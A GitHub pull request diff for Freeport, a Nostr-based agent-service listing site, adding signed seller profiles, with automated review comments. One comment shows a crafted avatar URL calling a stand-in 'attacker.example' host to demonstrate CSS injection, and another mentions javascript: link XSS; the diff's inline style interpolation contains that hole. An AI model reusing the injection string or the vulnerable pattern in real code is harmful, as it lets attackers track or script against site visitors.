Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 21 additions & 15 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,20 +14,23 @@ V1 is intentionally small:
```mermaid
flowchart LR
A[Seller agent] --> B[Generate local Nostr keypair]
B --> C[Build listing JSON]
C --> D[Create Nostr-shaped event]
D --> E[Hash canonical payload and sign with private key]
E --> F[POST signed event to /api/listings]
F --> G{Listing fee paid?}
G -- No --> H[Pay L402 invoice]
H --> F
G -- Yes --> I[Freeport verifies id, signature, and fee]
I --> J[Store canonical event and searchable listing]
J --> K[Buyer agents browse listings]
K --> L[Buyer contacts or invokes seller outside Freeport]
B --> C[Optionally build profile JSON]
C --> D[Sign Nostr kind 0 profile metadata]
D --> E[POST signed profile to /api/sellers/profile]
B --> F[Build listing JSON]
F --> G[Create Nostr-shaped listing event]
G --> H[Hash listing payload and sign with private key]
H --> I[POST signed listing event to /api/listings]
I --> J{Listing fee paid?}
J -- No --> K[Pay L402 invoice]
K --> I
J -- Yes --> L[Freeport verifies id, signature, and fee]
L --> M[Store canonical event and searchable listing]
M --> N[Buyer agents browse listings]
N --> O[Buyer contacts or invokes seller outside Freeport]
```

Freeport never needs the seller private key; it only verifies the signed event and serves the listing for discovery.
Freeport never needs the seller private key; it only verifies signed events and serves profile/listing metadata for discovery.

## Stack

Expand Down Expand Up @@ -58,7 +61,7 @@ MDK_MNEMONIC=...

## Database

Apply the migration in `supabase/migrations/20260425204501_freeport_v1_schema.sql`.
Apply the migrations in `supabase/migrations/` in timestamp order.

The migration creates:
- `sellers`
Expand Down Expand Up @@ -89,6 +92,8 @@ This project uses `node-linker=hoisted` in `.npmrc` so Vercel packages MDK's nat

```bash
pnpm freeport:keygen --out ./seller.key
pnpm freeport:profile-sign examples/profile.json --key ./seller.key --out signed-profile.json
pnpm freeport:profile-post examples/profile.json --key ./seller.key --base http://localhost:3000
pnpm freeport:sign examples/listing.json --key ./seller.key --out signed-event.json
pnpm freeport:post examples/listing.json --key ./seller.key --base http://localhost:3000
```
Expand All @@ -101,6 +106,7 @@ pnpm freeport:post examples/listing.json --key ./seller.key --base http://localh
- `GET /api/categories`
- `GET /api/sellers/:pubkey`
- `POST /api/sellers/register`
- `POST /api/sellers/profile`
- `POST /api/listing-fee/request`
- `POST /api/listing-fee/confirm`
- `POST /api/listings`
Expand Down Expand Up @@ -152,8 +158,8 @@ Supported method enums:
## Product decisions

- Listing schema: practical MVP fields for title, category, summary, description, structured contact methods, structured payment methods, pricing metadata, samples, tags, and capabilities.
- Seller identity: pubkey-first, with optional display/contact metadata.
- Seller identity: pubkey-first, with unsigned wallet/contact registration plus seller-signed Nostr kind 0 public profile metadata.
- Purchase flow: Freeport v1 is discovery plus listing only.
- Updates: mutable listing rows plus append-only `listing_events`.
- Moderation: `moderation_status`, `active`, and backend-level hide/delete.
- Nostr compatibility: event shape, id, pubkey, and Schnorr signature verification only.
- Nostr compatibility: event shape, id, pubkey, kind 0 profile metadata, and Schnorr signature verification only.
14 changes: 2 additions & 12 deletions app/api/sellers/[pubkey]/route.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { errorResponse, jsonResponse } from "@/lib/api";
import { listingToPublicJson } from "@/lib/event-mapping";
import { listingToPublicJson, sellerToPublicJson } from "@/lib/event-mapping";
import { getRepository } from "@/lib/repository";

export async function GET(_request: Request, context: { params: Promise<{ pubkey: string }> }) {
Expand All @@ -14,17 +14,7 @@ export async function GET(_request: Request, context: { params: Promise<{ pubkey
const listings = await repository.listListings({ sellerPubkey: pubkey, limit: 100 });

return jsonResponse({
seller: {
id: seller.id,
pubkey: seller.pubkey,
display_name: seller.displayName,
contact_method_type: seller.contactMethodType,
contact_method_value: seller.contactMethodValue,
wallet_type: seller.walletType,
status: seller.status,
created_at: seller.createdAt,
updated_at: seller.updatedAt,
},
seller: sellerToPublicJson(seller, { includeTimestamps: true }),
listings: listings.map(listingToPublicJson),
});
}
33 changes: 33 additions & 0 deletions app/api/sellers/profile/route.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
import { errorResponse, jsonResponse, readJson, validationErrorResponse } from "@/lib/api";
import { sellerToPublicJson } from "@/lib/event-mapping";
import { verifyNostrEvent } from "@/lib/nostr";
import { getRepository } from "@/lib/repository";
import { parseSellerProfileContent } from "@/lib/seller-profile";
import { SellerProfileRequestSchema } from "@/lib/validation";

export async function POST(request: Request) {
try {
const parsed = SellerProfileRequestSchema.parse(await readJson(request));
const verification = verifyNostrEvent(parsed.event);

if (!verification.ok) {
return errorResponse(
{
code: verification.code,
message: verification.message,
},
422,
);
}

const profile = parseSellerProfileContent(parsed.event.content);
const result = await getRepository().upsertSellerProfileFromEvent(parsed.event, profile);

return jsonResponse({
seller: sellerToPublicJson(result.seller, { includeTimestamps: true }),
profile_updated: result.profileUpdated,
});
} catch (error) {
return validationErrorResponse(error);
}
Comment on lines +30 to +32
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Inspect validationErrorResponse to see how non-Zod errors are mapped.
fd -t f 'api.ts' lib | xargs -I{} sed -n '1,250p' {}

Repository: ATLBitLab/freeport

Length of output: 1460


🏁 Script executed:

cat -n app/api/sellers/profile/route.ts

Repository: ATLBitLab/freeport

Length of output: 1435


🏁 Script executed:

# Find parseSellerProfileContent to see what errors it throws
fd -t f -e ts -e js | xargs grep -l "parseSellerProfileContent" | head -5

Repository: ATLBitLab/freeport

Length of output: 117


🏁 Script executed:

# Look for other error handling patterns in the codebase for DB/network errors
fd -t f -e ts lib/api*.ts app/api | xargs grep -A 3 "catch.*error" | head -50

Repository: ATLBitLab/freeport

Length of output: 44


🏁 Script executed:

cat -n lib/seller-profile.ts

Repository: ATLBitLab/freeport

Length of output: 4280


🏁 Script executed:

# Check what verifyNostrEvent throws
rg -A 10 "function verifyNostrEvent" lib/

Repository: ATLBitLab/freeport

Length of output: 510


🏁 Script executed:

# Check other API routes to see error handling patterns
fd -t f 'route.ts' app/api | xargs -I{} sh -c 'echo "=== {} ===" && cat -n {} | grep -A 5 "catch"'

Repository: ATLBitLab/freeport

Length of output: 1584


Return appropriate HTTP status codes for database errors instead of routing them as 400 validation errors.

The single catch block catches both validation errors from parseSellerProfileContent (plain Error) and database/network errors from upsertSellerProfileFromEvent. Both are routed through validationErrorResponse, which returns 400 for non-Zod errors. This masks transient DB failures as bad_request, breaking retry semantics—HTTP clients and load balancers treat 4xx as non-retryable, while 5xx errors trigger proper retry logic. Consider separating validation errors (return via validationErrorResponse) from operational failures (return 5xx).

This pattern is present across multiple API routes in the codebase and should be addressed systematically.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/api/sellers/profile/route.ts` around lines 30 - 32, The catch block in
route.ts currently funnels all errors through validationErrorResponse, hiding
operational failures; update the error handling around parseSellerProfileContent
and upsertSellerProfileFromEvent by distinguishing validation errors (from
parseSellerProfileContent or Zod) — return via validationErrorResponse — from
database/network/errors thrown by upsertSellerProfileFromEvent and other
operational code, and return an appropriate 5xx server error response (e.g.,
serverErrorResponse or a 500/503 wrapper) so transient failures are not treated
as 400; apply the same pattern where you see this catch-all behavior across
other API routes.

}
Comment on lines +8 to +33
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Future-dated created_at can permanently lock a seller's profile.

shouldReplaceSellerProfile (lib/repository.ts) selects the winning profile event purely by event.created_at (with event.id as tiebreaker). Because there is no upper bound on created_at here, a seller (or anyone holding the key briefly, e.g., a leaked-then-rotated key) can sign a single profile with created_at set far in the future (say year 2999) and from that point forward no honestly-timestamped event will ever supersede it. NIP-01 implementations typically clamp/reject events whose created_at is more than a small delta past Date.now() / 1000.

Consider rejecting (or at least clamping) events whose created_at is meaningfully greater than the current server time, e.g.:

🛡️ Suggested guard before signature verification
     const parsed = SellerProfileRequestSchema.parse(await readJson(request));
+    const nowSeconds = Math.floor(Date.now() / 1000);
+    if (parsed.event.created_at > nowSeconds + 15 * 60) {
+      return errorResponse(
+        {
+          code: "event_created_at_in_future",
+          message: "Event created_at is too far in the future.",
+        },
+        422,
+      );
+    }
     const verification = verifyNostrEvent(parsed.event);
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/api/sellers/profile/route.ts` around lines 8 - 33, The POST handler
currently accepts events with unbounded event.created_at which allows
future-dated events to permanently win in shouldReplaceSellerProfile; before
calling verifyNostrEvent (or at least before calling
getRepository().upsertSellerProfileFromEvent), validate and clamp/reject
parsed.event.created_at against the server time (Date.now()/1000) with a small
allowed skew (e.g., a few minutes); if created_at exceeds the allowed future
skew, either return a 422 errorResponse or set created_at to now (and document
that change), so shouldReplaceSellerProfile in lib/repository.ts cannot be
permanently outcompeted by a far-future timestamp.

11 changes: 2 additions & 9 deletions app/api/sellers/register/route.ts
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import { jsonResponse, readJson, validationErrorResponse } from "@/lib/api";
import { sellerToPublicJson } from "@/lib/event-mapping";
import { getRepository } from "@/lib/repository";
import { SellerRegisterSchema } from "@/lib/validation";

Expand All @@ -15,15 +16,7 @@ export async function POST(request: Request) {
});
return jsonResponse(
{
seller: {
id: seller.id,
pubkey: seller.pubkey,
display_name: seller.displayName,
contact_method_type: seller.contactMethodType,
contact_method_value: seller.contactMethodValue,
wallet_type: seller.walletType,
status: seller.status,
},
seller: sellerToPublicJson(seller),
},
{ status: 201 },
);
Comment on lines 17 to 22
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Confirm callers of /api/sellers/register don't depend on created_at/updated_at; cross-check sibling routes' option usage.
rg -nP -C3 'sellerToPublicJson\s*\(' --type=ts
rg -nP -C3 '/api/sellers/register' --type=ts --type=tsx --type=md

Repository: ATLBitLab/freeport

Length of output: 2282


Inconsistent timestamps in seller registration response.

The registration endpoint calls sellerToPublicJson(seller) without { includeTimestamps: true }, omitting created_at and updated_at. Both sibling endpoints (GET /api/sellers/[pubkey] and POST /api/sellers/profile) include these timestamps, creating an inconsistent response shape across seller endpoints.

🔧 Proposed fix
-        seller: sellerToPublicJson(seller),
+        seller: sellerToPublicJson(seller, { includeTimestamps: true }),
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
return jsonResponse(
{
seller: {
id: seller.id,
pubkey: seller.pubkey,
display_name: seller.displayName,
contact_method_type: seller.contactMethodType,
contact_method_value: seller.contactMethodValue,
wallet_type: seller.walletType,
status: seller.status,
},
seller: sellerToPublicJson(seller),
},
{ status: 201 },
);
return jsonResponse(
{
seller: sellerToPublicJson(seller, { includeTimestamps: true }),
},
{ status: 201 },
);
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/api/sellers/register/route.ts` around lines 17 - 22, The registration
response omits timestamps because sellerToPublicJson(seller) is called without
the includeTimestamps option; update the return in the register handler to call
sellerToPublicJson(seller, { includeTimestamps: true }) so the response includes
created_at and updated_at and matches the shape returned by GET
/api/sellers/[pubkey] and POST /api/sellers/profile; ensure any related typing
or consumers still accept the timestamps.

Expand Down
22 changes: 22 additions & 0 deletions app/docs/agents/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,7 @@ export default function AgentDocsPage() {
<li>Read <Link className="font-bold underline" href="/llms.txt">/llms.txt</Link>.</li>
<li>Browse <code>/api/listings</code>, <code>/api/search?q=</code>, and <code>/api/categories</code>.</li>
<li>Generate a secp256k1 Schnorr keypair and store the private key outside Freeport.</li>
<li>Sign a Nostr kind 0 profile metadata event and POST it to <code>/api/sellers/profile</code>.</li>
<li>Initialize a Money Dev Kit agent wallet with <code>npx @moneydevkit/agent-wallet@latest init</code>.</li>
<li>Create a listing event with structured <code>contact_methods</code> and <code>payment_methods</code>, sign it locally, then POST it to <code>/api/listings</code>.</li>
</ol>
Expand Down Expand Up @@ -47,11 +48,32 @@ export default function AgentDocsPage() {
</p>
<pre className="card overflow-auto p-5 font-mono text-xs leading-6">
{`pnpm freeport:keygen
pnpm freeport:profile-sign examples/profile.json --key ./seller.key
pnpm freeport:profile-post examples/profile.json --key ./seller.key --base http://localhost:3000
pnpm freeport:sign examples/listing.json --key ./seller.key
pnpm freeport:post examples/listing.json --key ./seller.key --base http://localhost:3000`}
</pre>
</section>

<section className="grid gap-4">
<h2 className="text-2xl font-black">Seller profile</h2>
<p className="leading-8 text-[var(--muted)]">
The public seller name, avatar, about text, website, NIP-05, Lightning address, and bot flag are read from the newest valid kind 0 event signed by the seller pubkey. Older profile events remain available through event lookup but do not overwrite the rendered seller profile.
</p>
<pre className="card overflow-auto p-5 font-mono text-xs leading-6">
{`{
"name": "Review Cartographer",
"display_name": "Review Cartographer",
"about": "PR review synthesis for maintainers.",
"picture": "https://example.com/avatar.png",
"website": "https://example.com",
"nip05": "review@example.com",
"lud16": "review@example.com",
"bot": true
}`}
</pre>
</section>

<section className="grid gap-4">
<h2 className="text-2xl font-black">Listing fee</h2>
<p className="leading-8 text-[var(--muted)]">
Expand Down
25 changes: 24 additions & 1 deletion app/docs/api/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,8 @@ const endpoints = [
["GET", "/api/listings", "Browse active listings. Query: q, category, tag, seller, limit."],
["GET", "/api/listings/:id", "Fetch one listing by row id or event id."],
["GET", "/api/search?q=", "Search active listings with the same filter shape."],
["POST", "/api/sellers/register", "Create or update a pubkey-based seller profile."],
["POST", "/api/sellers/register", "Create or update unsigned wallet and contact metadata for a pubkey."],
["POST", "/api/sellers/profile", "Ingest a seller-signed Nostr kind 0 profile metadata event."],
["POST", "/api/listing-fee/request", "Create a payment record or local development receipt."],
["POST", "/api/listings", "Publish a signed listing event. Production is L402-gated."],
["PATCH", "/api/listings/:id", "Update listing fields with a new seller-signed listing event."],
Expand Down Expand Up @@ -108,6 +109,28 @@ service_area.mode: remote | local | hybrid`}
"tags": [["category", "agent_service"], ["t", "github"]],
"content": "{...listing content JSON...}",
"sig": "128 hex chars"
}`}
</pre>
</section>

<section className="grid gap-4">
<h2 className="text-2xl font-black">Seller profile event</h2>
<p className="leading-8 text-[var(--muted)]">
Public seller display fields come from a seller-signed Nostr kind 0 event. Freeport preserves the full metadata JSON and renders selected fields from the newest replaceable event.
</p>
<pre className="card overflow-auto p-5 font-mono text-xs leading-6">
{`POST /api/sellers/profile

{
"event": {
"id": "sha256 canonical event payload",
"pubkey": "64 hex chars",
"created_at": 1777132700,
"kind": 0,
"tags": [],
"content": "{\\"name\\":\\"Seller\\",\\"display_name\\":\\"Seller\\",\\"picture\\":\\"https://example.com/avatar.png\\",\\"website\\":\\"https://example.com\\",\\"nip05\\":\\"seller@example.com\\",\\"lud16\\":\\"seller@example.com\\",\\"bot\\":true}",
"sig": "128 hex chars"
}
}`}
</pre>
</section>
Expand Down
14 changes: 14 additions & 0 deletions app/docs/examples/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -20,10 +20,24 @@ curl http://localhost:3000/api/categories`}
<h2 className="text-2xl font-black">Generate and post with helper scripts</h2>
<pre className="card overflow-auto p-5 font-mono text-xs leading-6">
{`pnpm freeport:keygen --out ./seller.key
pnpm freeport:profile-post examples/profile.json --key ./seller.key --base http://localhost:3000
pnpm freeport:post examples/listing.json --key ./seller.key --base http://localhost:3000`}
</pre>
</section>

<section className="grid gap-4">
<h2 className="text-2xl font-black">Sign and post a seller profile</h2>
<pre className="card overflow-auto p-5 font-mono text-xs leading-6">
{`pnpm freeport:profile-sign examples/profile.json \\
--key ./seller.key \\
--out signed-profile.json

curl -X POST http://localhost:3000/api/sellers/profile \\
-H 'content-type: application/json' \\
--data @signed-profile.json`}
</pre>
</section>

<section className="grid gap-4">
<h2 className="text-2xl font-black">Agent service payload</h2>
<pre className="card overflow-auto p-5 font-mono text-xs leading-6">
Expand Down
53 changes: 50 additions & 3 deletions app/listings/[id]/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import { ArrowLeft, ExternalLink } from "lucide-react";

import { CATEGORY_LABELS } from "@/lib/constants";
import { getRepository } from "@/lib/repository";
import { sellerAvatarInitial, sellerDisplayName } from "@/lib/seller-profile";

export default async function ListingDetailPage({ params }: { params: Promise<{ id: string }> }) {
const { id } = await params;
Expand All @@ -13,6 +14,14 @@ export default async function ListingDetailPage({ params }: { params: Promise<{
notFound();
}

const sellerName = sellerDisplayName(listing.seller);
const pictureUrl = listing.seller?.profilePictureUrl;
const sellerProfileRows = [
["Website", listing.seller?.profileWebsite],
["NIP-05", listing.seller?.profileNip05],
["Lightning", listing.seller?.profileLud16],
].filter((row): row is [string, string] => Boolean(row[1]));

return (
<main className="container-shell flex-1 py-10">
<div className="grid gap-8">
Expand Down Expand Up @@ -53,10 +62,48 @@ export default async function ListingDetailPage({ params }: { params: Promise<{

<aside className="grid content-start gap-4">
<div className="card grid gap-4 p-5">
<div>
<p className="label text-[var(--muted)]">Seller</p>
<p className="mt-1 text-lg font-black">{listing.seller?.displayName ?? "Unknown seller"}</p>
<div className="flex items-start gap-3">
<div
className="grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-xl font-black text-[var(--accent-dark)]"
style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
aria-hidden
>
{pictureUrl ? null : sellerAvatarInitial(listing.seller)}
</div>
Comment on lines +65 to +72
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
rg -nP -C3 '\b(picture|profile_picture|profilePictureUrl)\b' --type=ts
ast-grep --pattern 'z.string().url($$$)'

Repository: ATLBitLab/freeport

Length of output: 9199


🏁 Script executed:

cat -n lib/validation.ts | head -100

Repository: ATLBitLab/freeport

Length of output: 3736


🏁 Script executed:

cat -n lib/seller-profile.ts | sed -n '30,60p'

Repository: ATLBitLab/freeport

Length of output: 1220


🏁 Script executed:

cat -n app/listings/\[id\]/page.tsx | sed -n '1,80p'

Repository: ATLBitLab/freeport

Length of output: 4417


🏁 Script executed:

cat -n lib/seller-profile.ts | sed -n '41,70p'

Repository: ATLBitLab/freeport

Length of output: 1150


🏁 Script executed:

cat -n lib/seller-profile.ts | grep -A 5 "STRING_LIMITS"

Repository: ATLBitLab/freeport

Length of output: 790


🏁 Script executed:

# Test if the attack URL passes the URL constructor validation
python3 << 'EOF'
try:
    from urllib.parse import urlparse
    attack_url = 'https://ok.example/a.png"), url(https://attacker.example/log?ip='
    parsed = urlparse(attack_url)
    print(f"URL parsed successfully: {parsed}")
    print(f"Scheme: {parsed.scheme}")
    print(f"Netloc: {parsed.netloc}")
    print(f"Path: {parsed.path}")
except Exception as e:
    print(f"Error: {e}")
EOF

Repository: ATLBitLab/freeport

Length of output: 306


🏁 Script executed:

# Also check with Node's URL constructor behavior
node << 'EOF'
try {
  const attackUrl = 'https://ok.example/a.png"), url(https://attacker.example/log?ip=';
  const url = new URL(attackUrl);
  console.log("URL parsed successfully");
  console.log("href:", url.href);
  console.log("pathname:", url.pathname);
} catch (e) {
  console.log("Error:", e.message);
}
EOF

Repository: ATLBitLab/freeport

Length of output: 218


CSS injection / SSRF-on-render risk via profilePictureUrl in inline style.

The upstream validator in lib/seller-profile.ts (via readUrl) uses new URL() to ensure the URL has an http(s) protocol, but returns the original unescaped string. This is insufficient for CSS context: a URL like https://ok.example/a.png"), url(https://attacker.example/log?ip= passes validation but breaks the CSS string when embedded as url("${pictureUrl}"), producing two separate url() calls. The second call is fetched by the browser on render, enabling SSRF/IP leaking.

Validation does not and cannot escape the CSS metacharacters (", ), whitespace). Render via <img>/next/image instead, where the URL goes through src attribute parsing rather than CSS.

♻️ Suggested safer rendering
-                <div
-                  className="grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-xl font-black text-[var(--accent-dark)]"
-                  style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
-                  aria-hidden
-                >
-                  {pictureUrl ? null : sellerAvatarInitial(listing.seller)}
-                </div>
+                <div className="grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] text-xl font-black text-[var(--accent-dark)]" aria-hidden>
+                  {pictureUrl ? (
+                    // eslint-disable-next-line `@next/next/no-img-element`
+                    <img src={pictureUrl} alt="" className="h-full w-full object-cover" />
+                  ) : (
+                    sellerAvatarInitial(listing.seller)
+                  )}
+                </div>
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/listings/`[id]/page.tsx around lines 65 - 72, The inline style using
pictureUrl in the backgroundImage of the div (where
sellerAvatarInitial(listing.seller) is used as fallback) allows CSS
injection/SSRF via crafted URLs; stop embedding the URL inside style and instead
render a standard image element (e.g., <img> or next/image) with
src={pictureUrl} and the same classes for sizing/rounding, keeping
sellerAvatarInitial(listing.seller) as the visual fallback when pictureUrl is
falsy; remove the style prop and backgroundImage usage entirely so the browser
handles the URL via src parsing rather than CSS string interpolation.

<div className="min-w-0">
<p className="label text-[var(--muted)]">Seller</p>
<p className="mt-1 break-words text-lg font-black">{sellerName}</p>
{listing.seller?.profileBot !== null && listing.seller?.profileBot !== undefined ? (
<span className="chip mt-2 inline-flex text-xs font-bold">
Bot: {listing.seller.profileBot ? "yes" : "no"}
</span>
) : null}
</div>
</div>
{listing.seller?.profileAbout ? (
<p className="text-sm leading-6 text-[var(--muted)]">{listing.seller.profileAbout}</p>
) : null}
{sellerProfileRows.length ? (
<div className="grid gap-3 border-t border-[var(--line)] pt-4">
{sellerProfileRows.map(([label, value]) => (
<div key={label} className="grid gap-1">
<p className="label text-[var(--muted)]">{label}</p>
{label === "Website" ? (
<a
className="break-all text-sm font-bold underline"
href={value}
target="_blank"
rel="noreferrer"
>
{value}
</a>
Comment on lines +91 to +99
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Confirm profileWebsite is restricted to http(s).

<a href={value}> will follow a javascript: URL and execute it on click — a stored XSS if upstream validation only checks z.string().url() (which accepts any scheme). Please verify the validator pins the protocol to http/https, or guard at render time.

🛡️ Render-time guard fallback
-                      {label === "Website" ? (
-                        <a
-                          className="break-all text-sm font-bold underline"
-                          href={value}
-                          target="_blank"
-                          rel="noreferrer"
-                        >
-                          {value}
-                        </a>
+                      {label === "Website" && /^https?:\/\//i.test(value) ? (
+                        <a
+                          className="break-all text-sm font-bold underline"
+                          href={value}
+                          target="_blank"
+                          rel="noreferrer"
+                        >
+                          {value}
+                        </a>
#!/bin/bash
rg -nP -C3 'profileWebsite|\bwebsite\b' --type=ts -g '!**/node_modules/**'
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/listings/`[id]/page.tsx around lines 91 - 99, The Website link can be a
javascript: XSS vector; ensure the upstream validator for profileWebsite
restricts schemes to http/https (e.g., pin protocols in your Zod/schema), and
add a render-time guard in app/listings/[id]/page.tsx where label === "Website"
(using the value variable) to only render the <a> if value begins with "http://"
or "https://"; otherwise omit the anchor or render a safe plain text fallback.
Also consider normalizing or rejecting non-HTTP(S) values when saving via the
profileWebsite field.

) : (
<p className="break-all text-sm font-bold">{value}</p>
)}
</div>
))}
</div>
) : null}
<div className="grid gap-1">
<p className="label text-[var(--muted)]">Pubkey</p>
<p className="break-all font-mono text-xs leading-5">{listing.seller?.pubkey}</p>
Expand Down
18 changes: 15 additions & 3 deletions components/listing-card.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ import Link from "next/link";
import { ArrowUpRight, Bot, Cable, Workflow } from "lucide-react";

import { CATEGORY_LABELS } from "@/lib/constants";
import { sellerAvatarInitial, sellerDisplayName } from "@/lib/seller-profile";
import type { ListingWithSeller } from "@/lib/types";

const icons = {
Expand All @@ -18,6 +19,8 @@ const iconTones = {

export function ListingCard({ listing }: { listing: ListingWithSeller }) {
const Icon = icons[listing.category];
const sellerName = sellerDisplayName(listing.seller);
const pictureUrl = listing.seller?.profilePictureUrl;

return (
<article className="h-full">
Expand Down Expand Up @@ -50,9 +53,18 @@ export function ListingCard({ listing }: { listing: ListingWithSeller }) {
</div>

<div className="flex items-center justify-between gap-4 border-t border-[var(--line)] pt-4">
<div className="min-w-0">
<p className="label text-[var(--muted)]">Seller</p>
<p className="truncate text-sm font-bold">{listing.seller?.displayName ?? listing.seller?.pubkey}</p>
<div className="flex min-w-0 items-center gap-3">
<div
className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-sm font-black text-[var(--accent-dark)]"
style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
aria-hidden
>
{pictureUrl ? null : sellerAvatarInitial(listing.seller)}
</div>
Comment on lines +57 to +63
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Same backgroundImage injection risk as the listing detail page.

If profilePictureUrl slips through validation containing "/), an attacker can append a second url(...) that the browser fetches on every card render (visible across the whole listings index). Apply the same fix here — render via <img> or strictly validate the URL — see the major issue raised on app/listings/[id]/page.tsx for details.

♻️ Suggested change
-            <div
-              className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-sm font-black text-[var(--accent-dark)]"
-              style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
-              aria-hidden
-            >
-              {pictureUrl ? null : sellerAvatarInitial(listing.seller)}
-            </div>
+            <div className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] text-sm font-black text-[var(--accent-dark)]" aria-hidden>
+              {pictureUrl ? (
+                // eslint-disable-next-line `@next/next/no-img-element`
+                <img src={pictureUrl} alt="" className="h-full w-full object-cover" />
+              ) : (
+                sellerAvatarInitial(listing.seller)
+              )}
+            </div>
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
<div
className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] bg-cover bg-center text-sm font-black text-[var(--accent-dark)]"
style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}
aria-hidden
>
{pictureUrl ? null : sellerAvatarInitial(listing.seller)}
</div>
<div className="grid h-9 w-9 shrink-0 place-items-center overflow-hidden rounded-[var(--radius)] border border-[var(--line)] bg-[var(--panel-strong)] text-sm font-black text-[var(--accent-dark)]" aria-hidden>
{pictureUrl ? (
// eslint-disable-next-line `@next/next/no-img-element`
<img src={pictureUrl} alt="" className="h-full w-full object-cover" />
) : (
sellerAvatarInitial(listing.seller)
)}
</div>
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@components/listing-card.tsx` around lines 57 - 63, The inline style using
backgroundImage with pictureUrl in listing-card.tsx (the div that currently uses
style={pictureUrl ? { backgroundImage: `url("${pictureUrl}")` } : undefined}) is
vulnerable to URL injection; replace this pattern by rendering a proper <img>
element for the avatar when pictureUrl exists (fall back to
sellerAvatarInitial(listing.seller) when absent) or, if you must keep background
images, strictly validate/sanitize pictureUrl (e.g., parse with the URL
constructor, enforce http(s) scheme and a hostname allowlist) before assigning
it to the style; update the component that references pictureUrl and
sellerAvatarInitial accordingly.

<div className="min-w-0">
<p className="label text-[var(--muted)]">Seller</p>
<p className="truncate text-sm font-bold">{sellerName}</p>
</div>
</div>
<span className="button-ghost listing-card-cue shrink-0 !px-3" aria-hidden="true">
<ArrowUpRight size={16} aria-hidden />
Expand Down
10 changes: 10 additions & 0 deletions examples/profile.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
{
"name": "Review Cartographer",
"display_name": "Review Cartographer",
"about": "PR review synthesis for maintainers and implementation agents.",
"picture": "https://example.com/freeport/review-cartographer.png",
"website": "https://example.com/agents/review-cartographer",
"nip05": "review@example.com",
"lud16": "review@example.com",
"bot": true
}
Loading